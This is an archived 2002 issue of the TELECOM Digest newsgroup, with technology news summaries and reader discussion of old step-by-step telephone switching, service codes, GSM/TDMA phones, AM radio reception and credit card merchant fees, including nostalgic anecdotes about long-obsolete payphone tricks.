http://finance.lycos.com/home/news/story.asp?story=30239631 ------------------------------ Date: Thu, 28 Nov 2002 22:46:09 -0500 From: Monty Solomon Subject: Nokia Delivers New Dual Band GSM and GAIT Handsets to Cingular - Nokia Supports Cingular's GSM/GPRS Expansion With New Multi-Band And Multi-Network Phones - IRVING, Texas, Nov. 26 /PRNewswire-FirstCall/ -- Nokia (NYSE:NOK) today announced that shipments to Cingular Wireless of three new handsets designed to support the expansion of GSM/GPRS networks in the United States have begun. These deliveries include the Nokia 6340i phone, the world's first dual-band/tri-mode GAIT compliant handset and two new dual band GSM/GPRS products supporting GSM networks at both US frequencies (850/1900MHz), the Nokia 3590 and 6590 phones. http://finance.lycos.com/home/news/story.asp?story=30244869 ------------------------------ Date: Thu, 28 Nov 2002 22:47:39 -0500 From: Monty Solomon Subject: TiVo Series2 Picked as Hot Holiday Family Gift Retailers, Top Consumer Magazines - Good Housekeeping, Maxim, InStyle - Recommend TiVo Series2 as Special Family Treat Under the Tree SAN JOSE, Calif., Nov. 26 /PRNewswire-FirstCall/ -- Leading retailers and some of the nation's largest consumer magazines are all pointing to TiVo as an early favorite to top the list of hot Holiday gift items. The TiVo Series2 DVR is easier than ever to use and install, and comes ""future ready"" for new home entertainment. TiVo lets you easily and simply record all of your favorite shows so you can watch them whenever you want without all the hassles of videotape. Almost 90 percent of current TiVo subscribers say they couldn't live without it. http://finance.lycos.com/home/news/story.asp?story=30244902 ------------------------------ Date: Fri, 29 Nov 2002 14:30:48 -0500 From: Monty Solomon Subject: Massachusetts to Appeal Microsoft Settlement BOSTON, Nov 29 (Reuters) - Massachusetts, one of nine U.S. states that have refused to sign Microsoft Corp.'s (NASDAQ:MSFT) antitrust settlement with the Justice Department, said on Friday it would appeal a federal judge's recent endorsement of the pact. State officials are facing a Monday deadline to decide whether to appeal the Nov. 1 ruling by U.S. District Judge Colleen Kollar-Kotelly. - http://finance.lycos.com/home/news/story.asp?story=30316688 ------------------------------ Date: Fri, 29 Nov 2002 00:30:28 -0500 From: Monty Solomon Subject: NESN's Rate Hikes to Boost Cable TV Bills Majority-owner Red Sox looking to maximize sports network revenue By Bruce Mohl, Globe Staff, 11/26/2002 Cable television rates are going up again next year, and a hefty chunk of the increase can be traced to the Boston Red Sox. Just as the ball club is trying to squeeze more seats into Fenway Park to maximize ticket revenues, the team is also putting more games on its New England Sports Network and hiking subscriber fees. Local cable operators and NESN declined to comment on the exact size of this year's increase, but industry sources say the fee per subscriber is rising anywhere from 40 to 70 cents a month, depending on the cable system. At one smaller operator, sources say, the monthly fee is rising 46 percent to $2.20 per subscriber. NESN is fast becoming one of the most expensive channels on standard cable locally, and in the process becoming a highly lucrative source of revenue for the Red Sox and Boston Bruins. The Sox own approximately 80 percent of NESN, while the Bruins own the remainder. The New York Times Co., corporate parent of The Boston Globe, is a limited partner in the group owning the Red Sox. http://www.boston.com/dailyglobe2/330/business/NESN_s_rate_hikes_to_boost_cable_TV_bills+.shtml [TELECOM Digest Editor's Note: My cable bill here in Independence will rise $1.50 per month starting January 1 according to an insert in the bill which came in the mail today. PAT] ------------------------------ Date: Fri, 29 Nov 2002 00:44:21 -0500 From: Monty Solomon Subject: The Spy Inside Your Home Computer By Mark Ward BBC News Online technology correspondent Bond may be back, but spying never went away. The worrying truth is that secret agents could be lurking in your home computer and broadcasting personal information. Your home computer is a pretty dumb device that usually does what it is told. But with the right help this mute machine can become disturbingly ""talkative"". So-called ""parasite programs"" are logging what you do online and, like a nest of busy gossips, sharing the information with anyone who will pay to listen. As concern mounts over these sneaky tactics, privacy experts, cyber watchdogs and many concerned net users have started to compile lists of these programs. http://news.bbc.co.uk/2/hi/in_depth/sci_tech/2000/dot_life/2487651.stm ------------------------------ From: TELECOM Digest Editor Subject: Share Day for November Date: Sat, 30 Nov 2002 02:58:00 CST Its that time of the month again (the last day of the month and the first day of the new month) that I use to ask you to please, kindly remember TELECOM Digest and my expenses in getting this (mostly) spam free, reader-written moderated newsgroup out to you on a daily (often times several times daily) basis. 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Townson Re: N11 vs. 11X Service Codes (Mark J Cuccia) Re: TDMA and GSM Cell Phones (Joseph) Re: TDMA and GSM Cell Phones (Alan Burkitt-Gray) Re: RIAA Orders US Navy to Surrender (John Higdon) Re: RIAA Orders US Navy to Surrender (Howard S Wharton) Re: Radio Signals (Robert Bonomi) Number Read Back Service (Ryan Nichols) Share Day for November/December (TELECOM Digest Editor) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Sat, 30 Nov 2002 10:01:01 CST From: Mark J Cuccia Subject: Re: N11 vs. 11X Service Codes I originally replied: > it was the Panel (and later #1XB) cities that used the N11 format > for Service Codes. Step (SXS) cities tended to use 11X service codes and Neal McLain replied: > more precisely, it was in relatively small SxS (usually Strowger) > offices serving fewer than 80,000 lines. Even though Automatic Electric > had done most of the developmental work underlying the Strowger > switching system, Western Electric adopted it for use in the > Bell System. (and then went into _excellent_ detail of generic numbering/dialing and switching/trunking situations in small and mid-size town locations using SxS switching). But even large cities which used Step-by-Step switching _ALSO_ used 11X service codes, well into the 1960's. Some of these towns/cities (usually independent telcos, and also _GTE_ held BC-Tel in British Columbia CANADA) continued using 11X codes into the 1970's and 80's even after Crossbar, ESS and possibly digital switching replaced SXS. (I'm also thinking of Centel in Tallahassee FL which still used 11X Codes into the 1970's and Lincoln NE Tel & Tel which IIRC still used 11X into the 1980's. BCTel also used 11X including 112+ instead of 1+ for sent-paid-DDD into the 1980's!) As for larger towns/cities with SxS offices. A multi-office city would have had to have special trunking if they used N11 codes for every special service depending on the existing numbering and dialing w/r/t switching and trunking, or else locate each N11 answering center in the vicinity of where the central office beginning with that same specific 'N' digit was located. Here in New Orleans, we were predominantly SXS for DECADES. The first #5XB office (Seabrook, 504-CHestnut-x) wasn't installed until circa 1959/60. Step offices were still around until the early 1980's when they were finally cut to 1AESS (except for the smaller CDO step offices in the outlying areas of the metro area, which were cut to digital remotes circa 1989/90). New Orleans used 11X codes for test and service codes until the early 1960's: - 113 for Information/Directory - 114 for Repair - 115 and 116 were for special assistance type operators (Conference, Marine, Mobile, etc) - 117 for Test Board - 118+X(1) for multi-party revertive/ringback - 119(1) for two-party revertive/ringback - 110 for the LD Operator In the early-to-mid 1960's, we changed over to: - 411 for Directory - a seven-digit number (870-1122) for Repair - special 87X codes from SXS offices for test/ANAC/Revertive(Ringback) The (already existing) '0' local operator took over the functions that customers previously dialed 115, 116 and 110 for. Actually, she still had to connect the customer with the Conference, Marine, Mobile, etc. special operator. And by the early 1960's, the '0' local operator was already placing outbound toll calls throughout the US and Canada herself, without having to pass the customer to a ""dedicated"" Long Distance outward operator. Customer dialed 'DDD' began from New Orleans circa 1962/63, using the ""standard"" (beginning in the 1960's esp. from Step offices) access of: 1+ NPA (if not your 'home' area code) + 7D or 2L-5N We never used 112+ to reach the local DDD/CAMA tandem. Note that the seven-digit number for Repair at that time was 870-1122, that it begins '87' which was for SXS offices to use for ""test"" functions as well. When calling from a STEP office (but not a #5XB or later ESS), the '0' and '1s' were absorbed at the '87' misc.code selector, thus you could ""get by"" (ONLY FROM a STEP office) with just '872' to call Repair! In the 1960's, there was only one central office switch in the New Orleans metro area beginning with '4', ""HUnter-x"", 48x. Calls to 48x-xxxx from another local SXS office outside of the ""HUnter"" office, trunked to the ""HUnter"" office just on the single digit '4'. The next dialed digit '8' would be ""absorbed"" by the ""incoming selector"" switch at the ""HUnter"" office. The next customer-dialed digit, the 'C' digit of the 48-X code, was now actually switched by the ""HUnter"" office's incoming selector switch. The reamining dialed digits, -xxxx, were all switched by each subsequent selector (and eventually final connector) switches within the ""HUnter"" office. But this means that _ALL_ calls to 411 from other Step offices in the metro area were routed through the ""HUnter"" office. The '4' trunked one to ""HUnter"", and then the '1' being dialed were switched at the incoming selector at ""HUnter"" over to Information (Directory). Also, it probably meant that there couldn't be a 481 prefix, since this too would actually route to Directory with the '8' being absorbed in ""HUnter"". The center where the Directory operators were located had to be trunked to from ""HUnter"" in these calls originating from other Step offices. I seem to think that Southern Bell / South Central Bell had a directory operator center in the vicinity of the ""HUnter"" office. When there were additional 4Nx central offices added in the metro area during the 1970's, such as the 43x Avondale new ESS ffice, the 44x ESS at Shrewsbury for the Westgate locality, the 45x ESS at Shrewsbury for the West Metairie locality, and the 46x new Briarwood ESS office in Kenner, all SXS offices in the metro area had to build new ""Fourth Level Second Selector"" switches within their own offices. From each SxS office, '4' would trunk to this 4th-Level Second Selector switch within the same building. Then the next digit would ""trunk out"" to the proper switch: 4-1 for Directory 4-3 for the Avondale ESS 4-4 for Shrewsbury ESS (intended for 44x Westgate customers) 4-5 for Shrewsbury ESS (intended for 45x West Metairie customers) 4-6 for Kenner Briarwood ESS 4-8 for the original ""HUnter"" SXS (which cut to ESS in the late 1970s) Now, each SXS office in the metro area could install direct trunks to the Directory Operator Center without having to have the calls switched via the ""HUnter"" office. There could be additional Directory Operator centers or they could have re-located the directory operator center location. We didn't have 911 at the time. If we did, _ALL_ calls to 911 from SXS offices would have had to pass thru the Franklin 94x office (dialed as ""WHitehall""), since there were no other 9Nx offices/codes in the metro area (at that time). Dialing a '9' from a SXS office routed directly just on that digit, to Franklin (WHitehall, 94x). In the long run, this was inefficient trunking, but at that time, it did work. But 11X codes would have eliminated a lot of the inefficiencies that Step offices using N11 codes in small/mid-size cities had. Only the LARGEST Step cities if they had multiple office-code selectors for all office code digits dialed, or else directors/registers/ some form of ""common contral"" would have had the most efficient use of trunking with N11 codes. IMO, I think that AT&T / Bell Labs (in the 1960's) should have recommended that Panel/XB cities migrate to 11X codes rather than requiring SXS cities migrate to N11 codes, as mentioned earlier. However, would this have meant that 112+ would have become the DDD/CAMA/Toll access prefix from all SXS areas? (as well as possibly Panel/Crossbar areas which never really ""needed"" an ""access"" prefix for DDD?) I know that there were some SXS areas using 1+nxx(etc) for DDD _AND_ at the same time using 11X Service codes back in the 1960's/70's. There are two possible ways this could have been done, EITHER: [1] a ""double headed trunk"" which connected to BOTH the DDD/CAMA tandem AND had a connection to the misc.codes (11X) selector within the same office, where if the second digit after the initial '1' were another '1', the connection to the DDD/CAMA tandem would be ""dropped"" leaving the connection to the '11X' codes selector opened up; OR if the second digit were a 'N' ('2' thru '9', i.e., the customer intends DDD, 1+NNX-xxxx toll within their own NPA, or 1+NPA+NNX-xxxx toll outside of their own NPA), the connection to the '11X' codes selector would ""drop"" leaving the connection to the DDD/CAMA tandem open, and already having picked up the second customer dialed digit (first digit of 'foreign' NPA or first digit of office code within 'home' NPA) in its registers. OR, [2] where an initial dialed '1' goes to DDD/CAMA, and if the customer dials a second '1' followed by an 'X' digit, the call will route to Directory, Repair, LD-Operator, etc. _thru_ the DDD/CAMA toll switch acting as a ""local area tandem"". However, this use of '11x' going to DDD/CAMA as a tandem for mservice code functions would dis-allow the use of 11x for local office test functions (117 for Test Board unless it were a centralized test board via the DDD/CAMA tandem, or 118-X(1) and 119(1) for party-line ringback/revertive calling, dial-speed tests, etc, which usually were handled _within_ one's own central office). But most SXS areas adopted some _OTHER_ NN(x) or NX(x) range (such as the 87x range in New Orleans) for such misc. test and party-line functions when our SXS (and #5XB) offices abandoned 11X codes in the early-to-mid 1960's. 87(0-11)2(2) Repair Service 87-3-0 ANAC 'in' 87-3-2222222 ANAC 'out' 87-4(1) Two Party Revertive Ringback 87-5+(?) ANAC but ""quoted"" as a string of touchtones! 87-6 LOUD dialtone then SILENCE (would hold the line up a min) 87-7 Test Board 87-8-X(1) Multi-Party Revertive Ringback 87-9 Reorder with high tone (would hold the line up a minute) (The 876 holding the line up a minute ... In High School back in the 1970's, some students would drop their nickel into the payphone, COIN FIRST GROUND START, dial 876, hang up, and then walk aside for a while. The line of students waiting to use the payphone would each then drop in their nickel expecting dialtone, not get any since the line was ""held up"", and then all of them would leave thinking the phone was out of order. A minute or two later, the SXS c.o.switch would release the line, return ALL of the nickels on the ""escrow plate"", and then someone would collect them all up ... sneaky, but it worked! You COULD tell that this could happen to YOUR nickel, if you said something into the phone before dropping in a nickel to make a call, because you STILL had ""sidetone"" while the SXS switch ""held the line up""; BTW, throughout Louisiana, it was still a nickel untimed for a local coin call until 1979 when it went up to a dime, then a quarter in 1983, and then COCOTs in the later 1980's+, and then the Telecom Act of 1996 'deregulation' of all payphones when BellSouth went up to 35-c now 50-c for local calls from its payphones). But the use of 11X codes instead of N11 codes, NANP-wide, WOULD have allowed N11 to instead be used as ""special area codes"" along the line of N00 codes (and the special area codes 888, 877, 866, etc., the generic form as NYY, where the second and third digits are identical) ... and there REALLY could be ""POTS"" (or special) office codes in the seven-digit part of the number, with 'N11'. And then _ALL_ special ""local"" test/service/ or ""CLASS""/Vertical Service ""control"" codes could be extended to 11-XXX(X). There would be no need for two sets of instructions or footnotes, where '*XX' is the main quoted instruction and a footnote of 11-XX for rotary-dial / pulse-dial customers. All instructions would have simply quoted 11-X(X(X(X))) for such ""special"" functions. And I have NEVER really figured out WHY telco uses the name ""vertical"" for CLASS/Custom Calling/etc. functions! :-) Mark J. Cuccia mcuccia@tulane.edu New Orleans LA [TELECOM Digest Editor's Note: First, a hearty thank you to Mark Cuccia for still another good report on old style phone service and how things were done forty-plus years ago. My own contribution to the conversation about S x S switching systems is this: Long after Bell System had 'standardized' their method of dialing (back in the 1950-60's) with 2L and 5D (or in some early cases, 7D) and DDD was being implemented, we *still* could not direct dial into GTE territories (such as Fort Wayne, IN or Lafayette, IN) because of those towns 'odd' ways of dialing things (or so we thought). Fort Wayne had 'Anthony' with four digits following it, and Lafayette had five digit dialing but no exchange name that we could discern. Numbers in Lafayette would be such as 34567, and I assume the '3' was part of some prefix. Purdue University was the exception, where there were two ways of reaching them, from locally in Lafayette and West Lafayette. Dialing just '90' reached the Purdue operator but dialing '92' followed by five digits for the campus extension got you to that phone. Long distance callers still had to ask their local operator for 'Lafayette 90' and recite the extension number to the campus operator as '234567' or six digits. And your local operator did not dial anything; she just plugged in and waited until the distant operator answered 'Lafayette' then she gave the desired five digit number for you (or in the case of Purdue, '90' then when Purdue answered the other five digits.) Or sometimes the local operator would pass '92' plus five and Lafayette would dial it instead. Calling in reverse from there to Chicago, Lafayette did the same thing; plugged in, waited for Chicago to answer then asked for the seven digit desired number. And although Lafayette would later be in the 317 area code, at the time if you tried to call using 317+7D the call would fail to complete. The operator's routing book said to 'mark sense' the ticket as 317+151+ when she handed the call off to the Lafayette operator. Does anyone remember the those old 'mark-sense' codes the operators used in the early (and partially DDD) days? Regards high school and illicit money collections: In the pre-dial days the payphones were also coin first, followed by battery and wait for operator response to pass the number. 'Someone' left an old bent up coat hanger in the pay phone booth at school with a note written on the booth wall saying 'do you know how to use this?' Also written on the walls of the booth were the various juvenile obscenities for which kids are famous. And sure enough, kids would put their nickle in the box, and with luck have the coat hanger up the return chute and trip the escrow table the 'right' way and have the nickel back sometimes before the operator even answered. Other kids knew how to use a safety pin through the cloth cord and ground the phone the right way to get battery, knowing that battery meant the operator would be along in a minute or so to take the call. The main hassle with safety pin versus coat hanger was that tripping the ground to get battery merely got you at best a local (five cent) call. For a long distance call there still had to be additional coins deposited and the operator would listen for the 'ding' (five cent coin), the 'ding ding' ten cent coin or the 'dong' 25 cent quarter coin. If she did not hear those you did not get your call. That's where the coat hanger came in handy. If it was a smart operator, she knew she had to 'collect fast' immediatly on answer since some people would manage to retrieve the coins and cheat the company otherwise. But sometimes the operators screwed up also, collecting or returning in error. If the former she would offer 'the next call will be free' or if you insisted the nickel would be sent back in the mail. The other way -- improper return of coins, she would apologize and ask you -- plead -- with you 'please deposit the money again.' On the same topic, the first *dial* service in Whiting, Indiana was the Standard Oil Whiting Refinery. The phone system there, known as 'Stanotel' allowed three digit dialing around the refinery. Dial the single digit '7' got you a Chicago tie-line with dial tone. Dialing the single digit '8' got you the Stanotel network around the USA. But dialing '9' for a local call got you battery and then speaking to the local Whiting operator, while dialing '0' got you the operator at the refinery, which is where all incoming calls to 'Whiting 2111' (refinery main number) went for handling. I think the refinery had a Rolm PBX, the only one I have ever seen/heard of where '9' did not get you an outside dial tone but instead a wait to give your local number to the operator audibly. I think a few of the executives there like my grandpa (assistant superintendent) had 'private outside direct lines' as buttons on their phones. Grandpa had a five button phone on his desk, two buttons were refinery extensions; a third button was different; it got Chicago dial tone directly on using it. PAT] ------------------------------ From: Joseph Subject: Re: TDMA and GSM Cell Phones Date: Thu, 28 Nov 2002 19:53:10 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On 28 Nov 2002 13:47:23 -0800, hkelley@yahoo.com (Howard Kelley) wrote: > Is there such a thing as a cell phone capable of handling both TDMA > and GSM accounts? Here is my issue: I travel abroad a great deal. I > would like to use a single phone for both my domestic use (Cingular > TDMA) and be able to switch to my European cell phone carrier when I > am in Europe. I realize I will have two providers but I would like to > use one telephone ... even two numbers. > Are there SIM chips that can make this happen? Or, am I forced to > change to a U.S. carrier that has GSM service. You can have some of that but not all of that. Cingular currently offers a GAIT (GAIT (GSM ANSI-136 Interoperability Team) a technology that enables GSM and TDMA networks to interoperate) model the Nokia 6340i that cingular uses so their customers can use both the IS-136 (TDMA) part of their network (the majority of their network) or GSM (Carolinas, some of Tennessee, California, Nevada & Washington state.) The GAIT phone works on GSM networks in both 1900 and 800 Mhz, IS-136 (TDMA) in 1900 and 800 Mhz and also in AMPS (analog 800) networks. To use your service anywhere else other than in the Americas you'll need a phone capable of at least 900 Mhz operation and preferably also able to use 1800 Mhz networks. Currently there is no handset that will do TDMA, AMPS and GSM in all four GSM frequencies (800, 900, 1800 & 1900.) If you need to use GSM in Europe with an US carrier such as T-Mobile or cingular it might be just as well that you purchase a GSM 900/1800 phone through eBay or some other online place just for use in Europe and just transfer the SIM card when you get on the plane (or off it.) That said cingular is the only IS-136 operator that is using true GAIT phones. AT&T is marketing a Siemens phone the S46 that will work on IS-136, GSM 900 (no 1800) and GSM 1900. It does not have AMPS so it is not a true GAIT phone, but that might work for you. AT&T markets this I believe as a ""multi-network"" plan. http://www.phonescoop.com/phones/phone.php?id=84 Hope this helps. Also, keep in mind that AT&T is fairly new to the GSM scene and does not have a full set of roaming agreements in place so you should check to see whether the country you are planning to travel to has a roaming agreement with AT&T. AT&T at this point will not obtain unlock codes for their customers so if you want to opt for pre-paid overseas that is not an option at this time. Replies are seldom read. Please reply in the group ------------------------------ From: Burkitt-Gray Alan Subject: Re: TDMA and GSM Cell Phones Date: Fri, 29 Nov 2002 10:15:41 -0000 Howard Kelley asked: > Is there such a thing as a cell phone capable of handling both TDMA > and GSM accounts? ... Or, am I forced to change to a U.S. carrier that > has GSM service. Qualcomm and, I think, Samsung have recently announced a CDMA/GSM multi-standard phone, but I don't know of any TDMA/GSM phones. I'm afraid that, yes, in order to roam in Europe you'll need to be with a US GSM carrier (with a tri-band phone, that also works on the international 900 and 1800 MHz bands for GSM, as well as the 1900 MHz band used in North America). Alternatively you could, when in Europe, buy a pay-as-you go GSM phone for use on this side of the Atlantic. You'll need to shop around to ensure you can roam across European countries with it: different operators in Europe have different rules. For example Orange pay-as-you-go phones in the UK will work on Orange-afiliated networks in around 13 European countries (see http://www.orange.co.uk/cgi-bin/international/phone_start.pl?tariff=payg) -- and you can pick up a phone at any Orange shop or other dealer and have it working in minutes. You don't need a local address or anything like that. A Siemens A50 is on the market for GBP69.99 -- just over $100 -- on a pay-as-you-go deal. That will also mean that you'll get the benefits of low rates for calling numbers in Europe -- while a US phone company would probably add a hefty mark-up. The third choice is to rent a phone while you're here -- but that would mean you wouldn't know your number until you picked up the phone at the airport. And now that mobile phones are so common, rent-a-phone services are probably getting scarce and expensive. Alan Burkitt-Gray Editor, Global Telecoms Business Euromoney Institutional Investor plc, Nestor House, Playhouse Yard, London EC4V 5EX, UK tel +44 20 7779 8518 fax +44 20 7779 8492 e-mail aburkitt@euromoneyplc.com www.globaltelecomsbusiness.com ------------------------------ From: John Higdon Subject: Re: RIAA Orders US Navy to Surrender Organization: Green Hills and Cows Date: Thu, 28 Nov 2002 19:50:55 -0800 In article , Phil Earnhardt wrote: > Throughout this discussion, I have never heard if any of those > midshipmen happened to legally own the CDs (or LPs or cassettes or, > just maybe, 8-track tapes) of the MP3 music that they allegedly > downloaded. Would getting a digital copy of the music they already > owned be a violation of the Honor Code? > Does the RIAA recognize that owners of a particular recording in any > of these formats is entitled to have -- or even download -- an MP3 > version of that recording? The RIAA does not regard ""fair use"" as legitimate. As far as I know, that organization regards the many gigabytes of MP3s on my hard drive as ""pirated"" music, yet not one byte came from anywhere other than my very own CD library. The RIAA wants no technology out there that it doesn't control. MP3 = bad. Technology that can be used by customers to their own advantage is a threat and must be eliminated. RIAA's dream digital technology is a file format that is serialized and can only be played on software that reports to and receives permission to play tunes from a mothership. The RIAA doesn't just want you to pay for your music, they want to control where, how, when, on what, how often, and for how long you can listen to it. It is known as ""rights management"", where the record company manages your rights. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Howard S Wharton Subject: Re: RIAA Orders US Navy to Surrender Date: Fri, 29 Nov 2002 19:20:01 -0500 Organization: University at Buffalo Pat, Even if the Midshipmen own their own computers, they are connected to the military (government) network and the same rules apply. I also agree that it's seems to be a muddy issue regarding the story. Hope everyone had a Good Thanksgiving! Howard S. Wharton Fire Safety Technician Occupational and Environmental Safety Services State University of New York at Buffalo ------------------------------ Subject: Re: Radio Signals From: bonomi@c-ns (Robert Bonomi) Date: Fri, 29 Nov 2002 04:12:56 GMT In article , Stanley McPherson wrote: > Is it possible in Pittsburgh to hear AM broadcasts from the West coast > of the U.S. with a standard radio? > Thank You. > [TELECOM Digest Editor's Note: Yes, rarely, on occassion it is > possible. It is quite common to hear radio stations several hundred > miles away. It depends on the strength of the radio signal and > atmospheric conditions. Under very good conditions a very powerful > west coast station (let's say 50 K output on a clear channel) could > be heard in Pittsburgh. Although I have no interest in listening to > them, station WLS in Chicago can be heard late on a summer night > here in Independence, KS, over 700 miles away. But WLS meets the > 50 K/clear channel requirements. We also can hear a station in > Des Moines, Iowa the same way. Radio propogation is kind of a mystery > to say the least. PAT] The station in Des Moines is probably WHO-AM 1040, a 50kw 'international clear channel' station. Since sometime in the '50s, their slogan for their late-night broadcasts has been: ""Coast to Coast. Border to border. And *THEN* some."" They regularly have listeners from Alaska and Hawaii phoning the call-in line. And at least a few times a year, somebody will phone in who is receiving them in *Australia*. There is, as I recall, a 'window of opportunity' of about 1/2 hour each day, when conditions are right for reliable reception in part of AU. [TELECOM Digest Editor's Note: Radios are amazing things, aren't they. I used to have a *very good* digitally tuned short wave radio which also had medium wave on it. Everything from below AM broadcasts (it started at 150 kc I think) and tuned up to around 30 Megs in different bands. It also tuned FM stations digitally. I dearly loved that radio. Then one day it got stolen, and that as 'they' say, was that. I think it cost me around $150-200 back in the middle 1980's. I had to put an antenna wire up in my apartment to get the best reception. Maybe some day I will get another one. I love scanning shortwave stations and DXing AM stations in the USA. My favorite station is KRPS in Pittsburg, Kansas at 89.9 FM, the classical music station from NPR at Pittsburg State University. Trouble is, Pittsburg is a *trip* from here, about 70-80 miles east, next to Joplin, MO and that distance is a bit far for most FM stations. I have a Bose radio/CD and when I put an external antenna on it I can get KPRS. They also have a repeater-translator at 102.7 FM in Bartlesville, OK but that one is run off the air by KIND the local station at 102.9. They also have a repeater in Iola, Kansas but that is farther away than even Joplin/Pittsburg, and the religion people here in town (91.9 FM American Family Association) run Iola away. And the PBS station in Tulsa is just to weak to come in here, and that is about 90 miles straight south. KPRS has a stereo signal, but I do not get stereo for it, just a mono signal, which seems to imply I am just getting 'wisps' of it that happen to get here. I know if I had a good rooftop antenna like many folks in town I could make the trip from Pittsburg quite easily. PAT] ------------------------------ From: nichols@cablenut.net (Ryan Nichols) Subject: Number Read Back Service Date: 28 Nov 2002 21:12:59 -0800 Organization: http://groups.google.com/ I used to have a number that I could call to get the number I am dialing on with my butt set while I am working in a comm room. I have since lost that number; are there any others out there? I've thought about ust calling SWBell and GTE and requesting the information again. I'm needing one for AR and TX. [TELECOM Digest Editor's Note: Good luck getting it. Most telcos keep those numbers under tight security, and they change them every month or two as well, making it very hard to find a working one all the time. PAT] ------------------------------ From: TELECOM Digest Editor Subject: Share Day for November Date: Sat, 30 Nov 2002 02:58:00 CST Its that time of the month again (the last day of the month and the first day of the new month) that I use to ask you to please, kindly remember TELECOM Digest and my expenses in getting this (mostly) spam free, reader-written moderated newsgroup out to you on a daily (often times several times daily) basis. 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Townson Re: Visa, Mastercard Seen Foiling Rivals (my_name@is.invalid) Ravings (Joey Lindstrom) Re: BASIC/FORTRAN/COBOL (Barry F Margolius) Rural/Wireless Local Loop (Dana) Re: This is Why I Read Digest - was Re: What Auth Centers Do? (Schaffer) Re: 5ESS High and Wet Problems (jdeyo@bellsouth.net) Re: Cellular Calls to Toll-Free Directory Assistance (Steven J. Sobol) Re: EU Gives Official Leave to Work For Microsoft (Anthony E. Siegman) Re: Number Read Back Service (John Higdon) Share Day November/December (Telecom Digest Editor) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Subject: Re: Visa, Mastercard Seen Foiling Rivals From: my_name@is.invalid Date: Fri, 29 Nov 2002 05:24:37 GMT In article , wrote: > In article , Thomas A. Horsley > wrote: > ...and even trying to disguise > their debit cards so merchants couldn't tell them from credit > cards. Just for curiosity, why should merchants be able to tell > the difference? As long as they get their money, why do they > care if the buyer uses a debit or a credit card? Because they > *DON'T* 'get their money', not all of it, that is. Card issuers > _charge_ those who accept cards for that 'convenience'. I speak > as a merchant who _accepts_ credit-cards for payment, and there is > a *significant* difference. The 'service charges' I have to pay on > a transaction against a debit card are nearly *DOUBLE* those I pay > for processing a real 'credit' card. > VISA also has another 'wrinkle', the 'corporate' charge-card. This > is a credit card that provides a number of 'enhanced' services to > the card-holder -- 'classification' of expenses, mgmt summaries, > etc. Unfortunately, the merchant who _accepts_ that card as payment > for his services, *pays* for those services for the customer. I pay > more than 30% _more_ for accepting a 'corporate' card than I do for > accepting a regular card. And there is *ABSOLUTELY*NO*WAY* to > determine in advance _which_ kind of a card it is. I don't know, > and _can't_find_out_ what this transaction is going to cost, until > *after* I've been charged for it. My clearinghouse has told me > this, and VISA _itself_ has confirmed it. > [TELECOM Digest Editor's Note: Anyway, who says they 'disguise' the > cards? My card says rather plainly on it, 'Commerce Bank Check > Card' although it does have a VISA logo on it, and the number > sequence is a usual VISA type number: twelve digits beginning > with '4'. > If the card is not present, as in telephone or mail-order sales, or > over the internet, for that matter, there is *NO*WAY* to determine > which kind of a card it is. I take telephone orders -- I found out > about this the ""hard way"". > Note: for ""card not present"" transactions, VISA _could_ claim that > =any= arbitrary transaction was a 'debit', or 'corporate' card, and > the *merchant* CANNOT verify whether they're telling the truth or > not. > [TELECOM Digest Editor's Note: But as a merchant, I am sure you > know quite well the costs involved in carrying your own paper > ... in fact very few stores attempt to maintain their own credit > departments any longer, much preferring to pass off the paperwork > and risks to large creditors like Visa. And regards debit cards, > would you rather have to collect on NSF checks all the time or have > a guarentee from Visa for >some fee per item? PAT] As a matter of fact, we *do* run our own credit department as well. We sell subscription-based services, so *everything* is on a credit basis of one form or another. At present credit-card transactions account for less than 5% of sales. Our 'internal' costs for processing credit-card transactions are virtually identical with those for 'payment by check'. *BEFORE* the credit-card processing charges are figured in. This is, in large part, due to the nature of our business, *and* to very sophisticated automation supporting the credit/billing process. It's interesting you should mention NSF checks -- we have had a *single* instance of that (last week, actually), in the last 5+ years. As to what I want, I want: 1) the ability to _know_ what my costs are, *in*advance*, on any given transaction. 2) the ability to ""audit"" the accuracy of those costs, as assigned by the Credit-Card issuer. 3) *IF* the card _issuer_ is going to charge me *more* for handling specific classes of their cards, I want to be able to pass that surcharge through to the card *holder*. ""Surcharging"" the *merchant* for handling debit-card transactions is disingenious, at best. The 'risk' to the card issuer on such transactions is *ZERO*. The issuer doesn't approve the transaction until _after_ they have actually withdrawn the money from the cardholder's account. They're _not_ 'advancing' the payment to the merchant, there is *no* 'cost of carry'. The reason for that additional charge is 'profiteering', pure and simple. Since the payment _from_ the card-holder is immediate, they don't have the chance to ""get rich"" off the finance charges imposed on any 'unpaid balance'. So, they have to make money on the transaction 'somewhere else'. Similarly with the 'corporate' cards. The issuer provides a 'nice' bundle of additional services to the cardholder. *Somebody* has to pay for those 'extras'. What is the benefit _to_the_merchant_ of those 'extras'?? Why should the _merchant_ who accepts the card get stuck with that 'extra' cost? If the cardholder wants those services, let the cardholder _pay_ for them. That *is* the 'fair' way to do things. I'm entirely willing to pay the 'base-level' transaction fees for processing credit cards. I object _violently_ to being forced, *involuntarily*, to pay for those 